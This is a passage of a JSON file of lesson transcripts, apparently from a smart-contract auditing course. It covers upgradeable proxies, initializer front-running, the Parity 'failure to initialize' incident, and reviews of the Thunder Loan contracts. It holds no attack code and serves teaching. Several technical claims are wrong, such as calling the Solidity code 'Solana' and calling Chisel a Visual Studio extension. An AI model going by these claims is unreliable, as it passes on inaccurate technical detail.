`initializable` which are being used within the same contract.\n\n## The Role of Initializable\n\nNow, let's take a more in-depth look at the `initializable` package. It originates from OpenZeppelin, more specifically `OpenZeppelin contracts Upgradable`. As the name suggests, it aids in writing upgradable contracts and will be crucial to our understanding due to its role in proxy elements.\n\n> OpenZeppelin's `initializable` package plays a significant role in Solana smart contract creation. It makes it possible to construct complex contracts that are easily managed and upgradable. It is imperative to understand its functionality and how it interacts with other elements in the smart contract.\n\n## Understanding Proxy in Solidity\n\nNow, let's navigate our way to Thunderloan.sol contract. Here, we will come across `Oracle Upgradable`, which is inherited into the main Thunderloan contract.\n\nThe `Oracle Upgradable` contract is a part of the main `Thunderloan` contract. It's a base contract facilitating upgradable contracts or contracts deployed behind a proxy. To get more comfortable with this concept, it's important to understand proxies and their use in Solidity.\n\nIf you take a look at the Nat spec (Natural Specification), you'll learn that upgradable contracts can't have constructors. The reason is, in an upgradable contract the storage is delegated to the proxy, but the logic resides in the implementation.\n\nHere is an important takeaway:\n\n> A contract's storage variables live in the proxy contract, while the contract logic lives in the implementation contract. Therefore, making use of constructors to initialize storage variables isn't applicable.\n\nIn order to circumvent this issue, the `initializable` contract comes into play. Instead of constructors, you have initializer functions that help initialize proxies with storage. For instance, in OpenZeppelin contracts, you will find initializer functions signified as `__Init` and `__Initunchained`.\n\n## Decoding Oracle Init\n\nNext, we have `Oracle Init` which is our initializer. It calls `Oracle Init Unchained` that takes a `pool factory address`, a `TSWAP address`, and another `pool factory address`.\n\nOur initializer function, `Oracle Init`, calls another function, `Oracle Init Unchained`. This function has a parameter `only initializing` which restricts the function to be called only one time.\n\n(Here's a piece of convention information: I suggest changing the name `TSWAP address` to `pool factory address` for better consistency. Just something to note if you are auditing the contract.)\n\nIn simple terms, the entire setup here is to initialize the contract's state because we are using a proxy model where a constructor is not applicable. Now that we've successfully dived into the codebase and demystified key concepts, our Solana smart contract is ready for deployment!\n", + "updates": [] + }, + { + "id": "4c23d2c2-a3c7-4303-b5a7-7e0736abb8df", + "number": 20, + "title": "Exploit: Failure To Initialize", + "slug": "failure-to-initialize", + "folderName": "20-failure-to-initialize", + "description": "", + "duration": 3, + "videoUrl": "ud4dDYNGgVU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/20-failure-to-initialize/+page.md", + "markdownContent": "---\ntitle: Exploit - Failure to Initialize\n---\n\n\n\n---\n\n# Unmasking a Major Pitfall in Smart Contracts: Initialization Vulnerability\n\nHello code enthusiasts and blockchain fans! Today, I want to share with you my recent findings while perusing the Thunderloan smart contract. For the uninitiated, smart contracts are self-executing contracts that live on the blockchain. They are primarily used to enforce agreed-upon rules without requiring the presence of third parties.\n\n## The Constructor in Smart Contracts\n\nLet's delve into a peculiar problem I've observed multiple times - particularly concerning initializers. As someone who has been doing this for quite a while, I've developed an instinct for catching certain risks. While examining Thunderloan's `initialize()` function, I knew I had stumbled upon an interesting issue.\n\n![](https://cdn.videotap.com/OpjaMfHKQ2Zje0pNKhzI-13.95.png)\n\nLet's break down what an `initializer` is. This method is essentially replacing the traditional contract `constructor` as a setup function in contracts. It serves to initialize contract parameters when the contract is deployed.\n\n## The Vulnerability: Front-running Initializers\n\nWhat could possibly go wrong with this, you may wonder? I'd like to pose a question: What if we deploy a contract and someone else gets to initialize it before we do? In other words, what if another person jumps the queue and sets the essential contract parameters prior to our initialization?\n\nThis is akin to someone else picking up your rental car and setting the GPS addresses before you even get the keys!\n\nTaking this potential scenario into consideration, it becomes clear why 'initializers being front-run' have often been flagged in audits as low-risk vulnerabilities.\n\n```\naudit('low', 'initializers can be front run');\n```\n\nImagine you have deployed a contract and forgotten to call the `initialize()` function. The scammer in our scenario notices this, exploits the vulnerability, and changes the `TSWAP` (Token Swap) address before you. The entire contract ends up being skewed towards this malicious user's benefit.\n\n## The Result of the Attack\n\nSo, what happens to the contract we just deployed? If the contract hasn't been initialized, it will likely malfunction or fail to work as smoothly as intended.\n\nFor instance, within the Thunderloan contract, if the `SPoolFactory` (smart pool factory) is not initialized, the `getPrice()`, and `WETH()` function calls may instead invoke the Ethereum null address, leading to unexpected behavior.\n\n```\nif (!initialized) {getPrice() --> address(0)WETH() --> address(0)}\n```\n\nThis scenario emphasizes the critical importance of ensuring initialization. Without it, the protocol ends up under-performing or in worse scenarios, completely breaks.\n\n## Mitigation: Keeping it Tight and Right\n\nIdentifying the problem is half the task. Knowing how to prevent it, however, is the real deal. How do we solve this initialization front-running problem in our contracts? It can be slightly tricky, and the best practice to ensure your contract's safety is actually quite simple - automate the initialization during deployment.\n\nBy automatically calling the initialize function during deployment, developers can reduce the risk of forgetting to manually trigger it post-deployment. This tactic not only ensures that all contract parameters are set as soon as the contract is deployed, but it also provides a consistent testing and deployment flow.\n\n## Conclusion\n\nDespite `initializers` being flagged as a low risk, they pose an architecture flaw that can easily be exploited if left unchecked. As blockchain developers, we need to not only write rock-solid smart contracts but ensure they're thoroughly tested and deployed without leaving potential loopholes for others to exploit.\n\nAnd to the auditors out there, next time you come across an `initializer`, remember:\n\n> \"An initializer, though small, can cause great wreckage.\"\n", + "updates": [] + }, + { + "id": "875535af-67e2-4d0f-9a4b-2a043ad2b20e", + "number": 21, + "title": "Failure To Initialize: Remix", + "slug": "failure-to-initialize-remix", + "folderName": "21-failure-to-initialize-remix", + "description": "", + "duration": 2, + "videoUrl": "BoMi3lArXiQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/21-failure-to-initialize-remix/+page.md", + "markdownContent": "---\ntitle: Exploit - Failure to Initialize - Remix Example\n---\n\n## Let's Play: Exploring the Issue in Remix\n\n[Remix](https://remix.ethereum.org/) et's compile and deploy a sample SC simulating the 'failure to initialize' flaw.\n\n![](https://cdn.videotap.com/HhYH7vlvKZcgQ2YeBn5v-29.77.png)\n\nFollowing successful deployment, you will find several functions. Initiating the `initialize` function will initially return `false` since, with nothing preset, the value is logically zero.\n\nHowever, if we forget to officially initialize our variable and start incrementing the not-yet-existent element (say 4-5 times), it would start registering those values. We can then observe that my value has progressively increased with each increment, despite having no explicit initial value.\n\nHere's the kicker - if you now stumble upon the error and initialize the element (say, with 123), an anomaly occurs. Instead of adding to the increments, the value is completely overwritten with the initialized value. In our case, my value resets to 123, disregarding all prior increments.\n\n> **Note**: Remember that a correctly built `initialize` function should have protection against subsequent initializations, to prevent overwriting of any pre-existing data.\n\n## Proactive Measures and Further Exploration\n\nThe aforementioned problem can be prevented by ensuring initialization prior to interaction with a contract. This might seem insignificant, but in the world of coding, minor details can influence the major outcomes.\n\nLet's conclude with a suggestion - why not challenge yourself with the capture-the-flags exercise available on the repository? It might provide an interactive environment for understanding the problem better.\n\nTo explore further on this issue, head back to the associated Github repository.\n\nAnd that's it folks, the overlooked yet crucial issue of 'Failure to Initialize' in the realm of SC exploits. I hope this post offers you meaningful insights and may your journey in the world of programming be devoid of such pitfalls!\n\nHappy Coding!\n", + "updates": [] + }, + { + "id": "198f16fc-ba92-4b30-aa7d-74d507193315", + "number": 22, + "title": "Case Study: Failure To Initialize", + "slug": "failure-to-initialize-case-study", + "folderName": "22-failure-to-initialize-case-study", + "description": "", + "duration": 3, + "videoUrl": "wD1_fRYQuSo", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/22-failure-to-initialize-case-study/+page.md", + "markdownContent": "---\ntitle: Exploit - Failure to Initialize - Case Study\n---\n\n# Failure to Initialize: A Lesson from Smart Contract Exploits\n\nIf you've ever dabbled in the realm of smart contracts, you may be familiar with an infamous exploit called \"Failure to Initialize.\" This notorious event unfolded in the Web Three Ethereum Ecosystem, involving a GitHub issue that potentially devastated the contract behind the Parity Wallet. It serves as a harsh reminder to all smart contract developers to initialize their contracts properly, or risk catastrophic failure.\n\nIn this blog post, we'll dissect the event and analyze the lessons learned. This way, we aim to prevent a similar misstep from reoccurring in our own projects or those of others.\n\n## The Initial Issue\n\n![](https://cdn.videotap.com/OY6Xn3YTnnAcgF4AnFtX-17.09.png)The tale starts with an innocent-looking [Git issue](https://github.com/paritytech/parity-ethereum/issues/6995) submitted to the Parity Wallet. Someone had unintentionally \"killed\" the contract - a possibility they were unaware of until it happened. This shocking event triggered a cascade of errors that brought to light a serious vulnerability in the smart contract.\n\nThe Etherscan transaction associated with it confirms the event. When we navigate down to the transaction details, click \"Show more,\" and decode the input data, we can see the parameters they entered when they accidentally invoked the contract's kill function.\n\nThe user was merely experimenting with the contract — not anticipating that their \"play\" would cause such devastation. They had overlooked a significant precaution in the preparation: initializing their initializer function.\n\nTragically, the initializer, which was initially neglected, was later invoked. This act inadvertently caused the breakdown of a contract hosting a considerable sum. It's a tale that triggers despair among developers and serves as a potent reminder: **Never forget to initialize your contracts**.\n\n> \"Initialize your initializers. This might seem like a simple step, but one oversight can cause catastrophic consequences for your contracts.\"\n\n## Lessons You Should Carry\n\nWhat enlightenment can we glean from this unfortunate event? Well, it screams out the need for initialization. It also raises questions about potential methods to ensure initialization is never omitted, like incorporating it into a deployment script or implementing a parameter that blocks the rest of the system from interacting until initialization has occurred.\n\nWhile we are discussing potential solutions, it is crucial to note that merely attaching a “onlyInitialized” modifier to functions won’t cut it. This strategy is often ignored by developers who are looking to save on gas fees. However, the primary concern here is to guarantee initialization, irrespective of how it is achieved.\n\nIn the dissected smart contract, there were no blockers placed to prevent interaction with the contract until initialization was complete. This absence is a glaring shortfall needing rectification.\n\nRemember, **initialization can be front-run**. It's vital you put mechanisms in place to prevent such actions from happening, which might wreak havoc akin to the Parity Wallet incident.\n\n## Remember This Tale\n\nThis event, classified under the infamous hack, is widely known as \"Failure to Initialize\". To avoid facing this unfortunate situation, get familiar with the case study, and make sure to initialize your initializers appropriately.\n\nWith the constant evolution of the Ethereum ecosystem, it's crucial to learn from our predecessors' missteps. Let this serve as a lesson to you: Pay attention to initializations, or you might accidentally \"kill\" something you didn't intend to.\n\nThe dark tale of this smart contract mishap should remain a beacon guiding you away from similar pitfalls. It's a call to ensure attentive and thorough development processes, bearing in mind that one small oversight can lead to the interruption of an entire system.\n\n> \"Even the smallest oversight in a contract can lead to the destruction of the entire protocol. Understanding the importance of the initialization steps is critical. Remember, don't let a similar fate befall your contracts.\"\n\nAnd lastly, let the grim tale of \"Failure to Initialize\" remind you: it's wiser to prevent than lament.\n", + "updates": [] + }, + { + "id": "0436b816-136a-46c2-9614-c8ce9483128b", + "number": 23, + "title": "OracleUpgradeable Continued", + "slug": "oracleupgradeable-continued", + "folderName": "23-oracleupgradeable-continued", + "description": "", + "duration": 4, + "videoUrl": "CLMi8WW6SDg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/23-oracleupgradeable-continued/+page.md", + "markdownContent": "---\ntitle: OracleUpgradeable.sol (Continued)\n---\n\n# Oracle Upgradable: A Thorough Review\n\nWelcome back, Code Critiques! We’re continuing our journey through the world of blockchain programming and today, we're examining the Oracle Upgradable back-end.\n\n## When It Gets Interesting - getPrice in WETH\n\nOne striking feature that piqued our interest is the `getPrice in WETH`. It is an external public view. Here’s how it works:\n\n- An address swap of pool tokens is initiated.\n- A specific token is passed through, utilizing the command `Ipool_factory_s_pool_token`.\n- To round this up, `Getpool pool` is then invoked, which is where `get pool tokens` comes in.\n\n![](https://cdn.videotap.com/wbYYfuMAg04eG7LYpZp8-48.15.png)\n\nTo be put simply, we capture the pool swap token, call on `getPrice of one pool token in WETH`, and voila!\n\nInterestingly, this entire process could be completed sans any knowledge of TSWAP. We could still continue with our security review and audit, completely ignoring TSWAP. That being said, it invariably adds value to understand the inner workings of TSWAP.\n\n> If we can identify a loophole or break in this function on TSWAP, it could potentially lead us to finding cracks in Oracle Upgradable as well.\n\nIn essence, whenever we invoke an external contract, one should instantly scan for attack vectors. Questions to ask include: could the price be manipulated? Is there potential for reentrancy attacks?\n\n## The Mystery of TSWAP\n\nHaving explored the intriguing aspects of getPrice in WETH, let's unravel TSWAP. Within TSWAP, the main operational functions appear to be `getPrice of pool token in WETH` and `getPool`.\n\n![](https://cdn.videotap.com/5cZTXH0KnXV4ii8uCDjE-96.3.png)\n\nTo an unskilled eye, it might seem as though the getPrice command redundantly repeats itself. That might be true. Nevertheless, it is doing two distinctly separate tasks — it computes the output amount based on an input utilising reserves to ascertain the asset price and pulls out the pool.\n\n## Tests Evaluation\n\nNow let's move to testing, using `units thunderloane test sol` or `Oracleupgradable sol`. If we individualise each point, we can see they are using a mock pool factory for interaction.\n\nUpon closer examination, we can ascertain they are using constraints, which might be a potential issue. An audit informational note would be to recommend them to use forked tests for live protocols.\n\nWhy you may ask? Forked tests simply offer higher guarantees of successful operation.\n\n![](https://cdn.videotap.com/fEeOEcrvj5RmWqYZn9Sd-128.4.png)\n\n## Attack Vector Investigation\n\nLet's take potential attack vectors as an example.\n\nThe `getPrice in WETH` function poses few directly observable issues. However, as we dig deeper, doubts start to emerge. What if someone could break this function? Could the priveleges be misused?\n\nA seemingly harmless function like `getPool, factory address` also needs to be observed closely. On the surface, it looks quite uncomplicated, with a private variable being used to extract the address — all good so far.\n\n## Initializer Front Run – A Possibility?\n\nNevertheless, while reviewing the `getPrice in WETH` function, we stumble upon an issue - the possibility of initializer front runs. Although in competitive audits such threats are usually overlooked, protocols still need to be warned of this possibility.\n\nRemembering the infamous attack: What delicate maneuvers are being employed to ensure there's no front run?\n\n## Wrapping it Up\n\n![](https://cdn.videotap.com/4CT0yiquS1CTN2jjVFe4-176.55.png)\n\nOur intense review journey culminates here, having done a fairly comprehensive review, exploring the Oracle Upgradable in its entirety, bringing potential lows to light, such as the chance of initializer front-runs.\n\nBut nonetheless, completing yet another successful review delivers a sense of accomplishment. And so, Oracle Upgradable – ticked off and aced!\n\nOur checklist continues to shorten. Stay tuned for the next fascinating code critique in our series. Happy coding!\n\n> \"Security is a process, not a product. Let's continue this journey together!\"\n", + "updates": [] + }, + { + "id": "e5fa2499-e153-4854-8391-1dd83033c999", + "number": 24, + "title": "AssetToken", + "slug": "assettoken", + "folderName": "24-assettoken", + "description": "", + "duration": 10, + "videoUrl": "EjQKnB0i8QM", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/24-assettoken/+page.md", + "markdownContent": "---\ntitle: AssetToken.sol\n---\n\nIn today's lesson, we will dissect and understand the process and chronology of AssetToken.sol while simultaneously attempting to reduce the complexity of this unwieldy 129-line monster code. We will be following the analysis methods of one of the smart contract industry's finest - Tincho.\n\n![](https://cdn.videotap.com/ymeUVPEJfTmzpyvsbUJU-38.26.png)\n\nAlthough the enormity of the code may make the checklist seem redundant, it is essential to understand that this seemingly lightweight tool can provide both structure and context, serving as a roadmap when trudging through unknown territories of the code.\n\n## Tackling AssetToken.sol Line-by-Line\n\nEagle-eyeing the checklist we realize that we have revealed another checkmark, indicating we are ready to plow into AssetToken.sol. As we delve deeper, the checklist will begin to take a back seat, but remember, it remains an invaluable tool to grasp the overall context and provide a starting point for understanding the essence of these components.\n\n### Thunderloan Digitization\n\nThunderloan serves as an apt milestone in our journey. We will first scour Thunderloan, before advancing to its upgraded version. The sequence may seem counterintuitive due to the contracted length of its upgraded edition. However, a profound understanding of the current protocol is instrumental in discerning the necessities for upgrades. The supposed 327-line-dependent code may differ drastically, but only time will tell!\n\nNow, let's proceed to dissect AssetToken.sol. It exemplifies the receipt role in our smart contract. It enables liquidity providers to deposit assets into Thunderloan, in return for asset tokens. The accumulation of interest over time is influenced by the number of people who borrow flash loans.\n\nBorrowing our previous Flash loans example, consider a whale who deposits money into a Flash loan contract. In return, they receive shares or a token representative of the money they've placed in the contract. This share-token accrues interest based on the flash loan borrowers' fees.\n\nThe role of Open Zeppelin's ERC20 here needs special mention. It provides an interface and a wrapper around ERC20 operations that would typically fail if the token contract returned false. The wrapper, aptly named Safe ERC20, serves as a fail-safe for erratic ERC20s, throwing on failure to prevent compromising the entire operation.\n\n## Unveiling Asset Token and Shares\n\nAs we dig deeper, mining further insights from the wall of text, a pattern begins to emerge. The term \"underlying\" in the code seems to refer to USDC, whereas the \"asset token\" is linked to the pool's shares. Depositing USDC gives you pool shares proportionate to the exchange rate defined within the contract.\n\n> \"For instance, if we have two shares and the exchange rate is two to one, we can exchange our two shares for four tokens.\"\n\nHow they calculate the exchange rate mirrors the workings of Compound Finance, underlining the deliberateness in the design. If we can master understanding the contract's innards, unraveling the rest of the mysteries becomes a breeze.\n\n### Side Quest into Compound's Territories\n\nAt this juncture, it might be advantageous to wander into the realm of Compound, discern how it functions and sift out any potential issues. Familiarity with similar protocols can empower us in our mission to secure this contract.\n\nHowever, we won't be trailing down this path today. It is, nonetheless, a recommended sidequest to undertake at some stage. Try writing a concise, understandable article explaining the working protocol of Compound, or even the comparable Aave.\n\n## Tracing the Exchange Rate Pattern\n\nReturning to our original predicament, we bump into our exchange rate again, causing us to raise an eyebrow. This instance hints at a potential bug spot in our code.\n\nThe next issue arises during the creation of new asset tokens or shares. Minting new asset tokens conducts an access control check to confirm the caller is the Thunderloan contract.\n\n> \"This begs the question, could an attack vector appear that allows an attacker to call mint from the Thunderloan contract when they shouldn't?\"\n\nIn the same vein, burning existing asset tokens or shares runs a similar check. Our questioning spirits seek an answer from the code. Could non-standard, \"weird\" ERC20s wreck havoc in our methods - Safetransfer? And more specifically, what if USDC decided to blacklist contracts (like thunder loan or the asset token contract)? A medium to low priority question but worth a nod.\n\n### Minting New Conclusions\n\nWrapping up our intricate dissection of the code, we are left with relevant questions that will guide us down the path of systematizing a secure, functional protocol. As we remain vigilant, aiming to decipher the mysteries of our smart contract, let us head over to the next complex labyrinth- Thunderloan.\n\nIn the coming blog posts, we'll continue to explore potential security vulnerabilities, unravel other intriguing aspects of this code, and hopefully unlock more mysteries of smart contract security reviews. So, stay tuned and keep reading.\n", + "updates": [] + }, + { + "id": "a0f06f3b-c211-4369-9667-636f39d1cb0a", + "number": 25, + "title": "AssetToken: Update Exchange Rate", + "slug": "asset-token-update-exchange-rate", + "folderName": "25-asset-token-update-exchange-rate", + "description": "", + "duration": 6, + "videoUrl": "h9NHFMriJ_Y", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/25-asset-token-update-exchange-rate/+page.md", + "markdownContent": "---\ntitle: AssetToken.sol - updateExchangeRate\n---\n\n## The Function: Update Exchange Rate\n\nLet's dive into a seemingly vital function called `updateExchangeRate()`. The comments clarify that it obtains the current exchange rate (#1) and computes it by dividing the fee size by the total supply. An intriguing remark states that the exchange rate should consistently increase—never decrease—an invariant principle at work. **But why should this exchange rate always escalate and never decline?**\n\n**CODE BLOCK HERE**\n\nAs we delve deeper, we set:`newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply`.\n\n![](https://cdn.videotap.com/gi422wVmQ3SFrgJrvlSw-84.97.png)\n\nAs we break down how this formula functions:\n\n- If the old exchange rate is 1,\n- The total supply of asset tokens is 4,\n- Fee is 0.5,\n\nComputing ((4 + 0.5)/ 4), we result with a new exchange rate of 1.125. From this, it seems that `updateExchangeRate()` is likely responsible for updating the asset tokens' exchange rate to their underlying assets.\n\nTo illustrate, imagine this hypothetical scenario where a whale deposits or withdraws shares. The amount that gets deposited or withdrawn hinges upon the exchange rate, which can change, presumably having something to do with the fee. In a scenario where the exchange rate is two to one, if a user were to deposit $1,000, they would receive 2000 asset tokens in return.\n\n**But why are we updating the exchange rate?**\n\nLet's revisit the above formula: What happens if the total supply is zero?As per the formula, `S exchange rate starts at 1 * 0 + let's say the fee is zero divided by zero`, the computation breaks. Would this pose an issue? Could there be a way that this could break and make the total supply zero? Questions to consider.\n\n![](https://cdn.videotap.com/SLGckrl4g0AjIi7bUdwS-230.62.png)\n\nWe check for a condition `if newExchangeRate <= oldExchangeRate`, then instruct it to revert, with a message saying, \"Exchange rate can only increase.\" The condition itself is a clear implementation of the invariant principle stated earlier. On the other hand, if the new exchange rate is higher, it sets `sExchangeRate = newExchangeRate` before emitting an event.\n\nAt a first glance, this function seems correct and ready to run. It updates the exchange rate, a crucial variable in the relationship between the shares and the underlying assets. The rate update mainly seems to be triggered by fees.\n\n## Some Possible Improvements\n\nAn important aspect that one could focus on is the multiple storage reads in the `updateExchangeRate( )` function— `s_ exchangeRate`, `s_totalSupply`, and `s_fee`. Given that storage reads are gas expensive, you could possibly optimize this by storing them as a memory variable—an aspect to consider during an audit for gas usage.\n\nNote: Sometimes, it is the experience that helps spot these potential storage issues. For instance, if you see multiple s\\_ syntax terms, that might be a hint about multiple storage operations.\n\n![](https://cdn.videotap.com/tGc23bAltPLCCdT51Y39-303.45.png)\n\nDespite not discovering any immediate problem with the contract, analyzing this function helped us understand the contract better. We now know how the exchange rate behaves, and it's clear that the fee plays a significant role in its computation.\n\nIn the next phase, we plan on investigating two more functions—ThunderLoan and ThunderLoanUpgraded. We'll tackle ThunderLoan first, understand its functionalities thoroughly, then move onto ThunderLoanUpgraded to identify the upgrades.\n\nStay tuned in for our exciting journey as we delve deeper to explore these functions. Keep coding!\n", + "updates": [] + }, + { + "id": "3f374647-b6b6-4687-bda5-c4262ae1a79a", + "number": 26, + "title": "Thunderloan: Starting At The Top", + "slug": "thunderloan-starting-at-the-top", + "folderName": "26-thunderloan-starting-at-the-top", + "description": "", + "duration": 9, + "videoUrl": "Cle0xTszptY", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/26-thunderloan-starting-at-the-top/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Starting At The Top\n---\n\n## Initial Exploration: Imports\n\nBefore we get our hands dirty with the functions, we start our journey with imports. There's plethora of imports in there, some of which include `Safe ERC 20`, `Asset token`, `IERC 20`, `Metadata`, `Ownable upgradable`, `Initializable`, `UUPs upgradable`, `Oracle Upgradable`, just to name a few.\n\nIn order to facilitate the learning process, I will provide a preamble of our focus in each section, \"priming your brain\" to absorb the upcoming content. Educational studies support this method, indicating that offering a high-level overview before delving into deeper detailing enhances the learning experience.\n\n**Quick tip:** In order to better understand protocols, remember to go through their read-me's for a bird's eye view before examining the individual codes.\n\nFollowing this advice, let's start piecing together the puzzle. `Ownable upgradable` might be a newer import to some, so it might be beneficial to quickly explore it in Open Zeppelin. This is the only-owner contract but with an upgradable version. Taking a close look, we see that it uses `ownable init` and needs to set an initial owner and transfer ownership.\n\n![](https://cdn.videotap.com/kyjLSLgBPsyDSSFpZ9P1-124.85.png)\n\nWe also find a reference to `UUPs upgradable`, which implements the UUPs proxy pattern, a common pattern for smart contracts. If you’re unfamiliar with the UUPs proxy, I strongly recommend that you brush up on it or you could revisit the Foundry course and specifically look at the `Foundry upgrades F 23` for a better understanding.\n\nFinally, in the list of our imports, we come across `iFLASH loan receiver`, which is a library offering easier to use functions like `send value`.\n\n## Diving Deep into the Smart Contract\n\nNext up, we ask, \"While going top to bottom, have we asked enough questions?\" Since there aren’t major issues with the imports, we move on.\n\nLooking at the contract `Thunderloan`, it is clearly recognizable that it extends `Initializable`, `Ownable upgradable`, `UUPs upgradable`, and `Oracle Upgradable`. Checking whether it should extend anything else, we find no, it's all good here.\n\n![](https://cdn.videotap.com/8ErUx4D6tAmn03SvJNAC-218.48.png)\n\nIn the next section, we encounter a bunch of constants and state variables, first of which is `token to asset token`. To gain a better understanding of its role, we do a quick search and find that it’s used in various operations like deposit, redeem, Flash loan, etc.\n\n```code\n// State variableS token to asset token\n```\n\nAfter some explanation and assumptions, we infer that this maps the underlying token to its asset token. For example, if a liquidity provider deposits USDC, it will generate a USDC asset token, representing the amount of USDC you've deposited.\n\nFollowing this, we stumble upon `fee in way`, which we verify by checking its initialization in the initializer function.\n\nAlso, we encounter an auditing issue that `fee precision` should be either constant or immutable.\n\nNext is `token to currently flash loan`, so this is assumedly a mapping that notifies us if a token is mid flash loan.\n\n## Delving into the Modifiers of our Smart Contract\n\nWell, we’ve had our fair share of state variables. Now, it's time to unravel the modifiers.\n\n```code\nrevert if zero\n```\n\nThis modifier reverts operation if amount equals zero. The other modifier `revert if not allowed token`, ensures operation would only proceed with allowed token only.\n\nTurns out, there's a precheck for tokens, which as a result reduces the risk of passing bad tokens to the contract.\n\n```code\nmodifier not allowed token\n```\n\nWe find a function named `is allowed token`, and upon exploration, it returns `s token to asset token of the token does not equal zero`. Therefore, it seems it's only allowing a token if it has been set before.\n\nLastly, we observe that most of this looks benign so far, but remember we're just getting started. In this initial inspection, we haven't really delved into the functions yet. But rest assured, there's more to find in this intriguing world of the Thunderloan Sol smart contract!\n", + "updates": [] + }, + { + "id": "43164196-4157-43e1-a634-c202d8fd2b9e", + "number": 27, + "title": "ThunderLoan Functions", + "slug": "thunderloan-functions", + "folderName": "27-thunderloan-functions", + "description": "", + "duration": 8, + "videoUrl": "2awqGN_TDeQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/27-thunderloan-functions/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Functions\n---\n\n# Demystifying Smart Contracts: A Deep Dive into Functions, Constructors and Operators\n\nLearning how to build smart contracts is challenging, but the rewards are immense. To help you on this journey, in this blog post, we will scrutinize the intricate workings of smart contract functions, constructors, and more.\n\n## Beginning with the Constructor\n\nFirst things first, we start by defining a constructor with a custom Oz (OpenZeppelin) upgrade — `Unsafe Allow Constructor`. This construct serves to pacify static analysis tools that generally get riled up with all the initializer tricks we use.\n\nA vital keyword we use is `DisableInitializers` that originates directly from the Initializable package. It's a safeguard to prevent the inadvertent calling of any initializers in the constructor, an act we want to avoid at all costs because our smart contract is upgradable, and it exists behind a proxy.\n\n### Understanding OwnableInit\n\nWe already mentioned the effects of `initializer` modifier, particularly how it could get front run. Now, let's talk about `OwnableInit`. This function merely facilitates the transfer to the preliminary owner.\n\n### Diving into UpgradableInit\n\nThis function has the same modus operandi as `UUPsUpgradableInit`, setting up storage for UUPs. However, considering UUPs is a comprehensive subject, we will not go into its details for now.\n\n### Getting Familiar with OracleInit\n\nTo further understand `OracleInit`, imagine using T-Swap (an address) as a kind of oracle. There's also the initial fee precision and initial fee for flash loans.\n\n## The Deposit Function\n\nThis is a very crucial function and, yes, it's missing Natspec! It's essential to call this out and highlight the necessity of the Natspec. This function is responsible for allowing users to deposit their tokens into the contract, thus facilitating flash loans for other users.\n\nA few key takeaways from the deposit function:\n\n- If the deposited `amount` is zero, revert\n- If the token is not an allowed token, revert\n- The function also employs the mapping `sTokenToAssetToken` to evaluate which sToken corresponds to which AssetToken\n\n## Setting Allowed Tokens\n\nA healthy exercise in understanding how these tokens are determined, let's look at the `setAllowedToken` function. In effect, it facilitates the setting or removal of tokens.\n\nThis critical function is permissioned and can only be executed by the owner of the protocol. Here's how it works:\n\n- If the token is allowed, it is added to the `sTokenList`\n- If the token is to be disallowed, the function will proceed accordingly\n- The function reverts with the status of the token, i.e., whether it is `already allowed` or not\n\n## Conclusion\n\nIn conclusion, the journey into the realm of smart contracts can be a bit tricky and complex. Still, by analyzing the various functions and their specific roles, one can gain a solid understanding of their dynamics and workflow. Persistent learning, constant practice, and a practical mindset are all that's required to master smart contract development. And remember: always make use of Natspec for the sake of readability and developer friendliness. Happy Coding!\n", + "updates": [] + }, + { + "id": "5a4c33fb-b6dc-4a5d-99fd-d123dbfddc28", + "number": 28, + "title": "Testing Deleting Mappings", + "slug": "testing-deleting-mappings", + "folderName": "28-testing-deleting-mappings", + "description": "", + "duration": 3, + "videoUrl": "nKgcMlL_Tbo", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/28-testing-deleting-mappings/+page.md", + "markdownContent": "---\ntitle: Testing Deleting Mappings and Fixing Our Tools\n---\n\n# Smart Contracts and Data Management: A Deep Dive into Token Mapping and Deletion\n\nWelcome to our deep dive discussion on asset tokens, deleting mappings, and the peculiarities of Solidity smart contracts. Today, we'll unravel how smart contracts interact with asset tokens and the possible pitfalls and bugs that can arise as we develop our applications.\n\n## Deletion and Checks in Asset Token Mappings\n\nIn a smart contract, we typically assign values and map `address` to `assetToken`.\n\nThis line means, simply, we're assigning the token located at `assetToken` to a variable also named `assetToken`.\n\nNow, this can lead to a critical question:\n\n> Does deleting a mapping work?\n\n![](https://cdn.videotap.com/EFG0Cihz1p7oQkV1y9Hx-36.9.png)\n\nIt's a valid question because let's say we have several checks on `assetToken == 0`. If the deletion process doesn't work as expected, our asset won't return to 0. So, how do we test this?\n\n## Testing Deletion with Chisel\n\nTo explore this, I decided to pull up Chisel, a Solidity language extension for Visual Studio, and create a mapping with the structure `address` to `address`.\n\nIn theory, when I look up `tokenToToken[address1]`, I'll get `address2`. Now, let's go ahead and attempt deletion:\n\nConsequently, when I look up `tokenToToken[address1]` after the deletion, I'm still getting `address2`. Clearly, something is off here.\n\n![](https://cdn.videotap.com/nqmehgM9xG2CGsHOR1yI-80.5.png)\n\n## Digging Deeper with Remix\n\nTo further understand the issue, let's pull up Remix, a powerful, open-source tool used for writing Solidity smart contracts. We'll create a simple contract, aimed at mapping `address` to `address`.\n\nFollowing similar steps as before, we'll set the mapping between an account address and the contract address, then delete the mapping, and finally, check the mapping again.\n\nThis time we get zero, contrary to what Chisel showed.\n\n## A Bug in Foundry\n\nThe probable conclusion? There's likely a bug with Foundry.\n\nYour logical next step should be heading to Foundry's GitHub page and opening an issue. Check out the existing issues first, of course. Search for \"Chisel mappings\" and see if there's a relevant issue already there. If nothing matches, make a new issue indicating the problem with Chisel mappings deletion.\n\nHere we've encountered a real-life bug, and we have done our part to inform the community about it. So, until next time, keep exploring, keep debugging, and keep developing.\n", + "updates": [] + }, + { + "id": "380a7e19-c5ed-471c-a3d6-dbe8ad472e6e", + "number": 29, + "title": "Note On Linear Progress", + "slug": "note-on-linear-progress", + "folderName": "29-note-on-linear-progress", + "description": "", + "duration": 2, + "videoUrl": "0STq_tuJKJI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/29-note-on-linear-progress/+page.md", + "markdownContent": "---\ntitle: A Note On The Linear Progress Of Security Reviews\n---\n\n# Evaluating Smart Contract Security: Journey Through \"Thunder Loan\"\n\nWelcome, tech 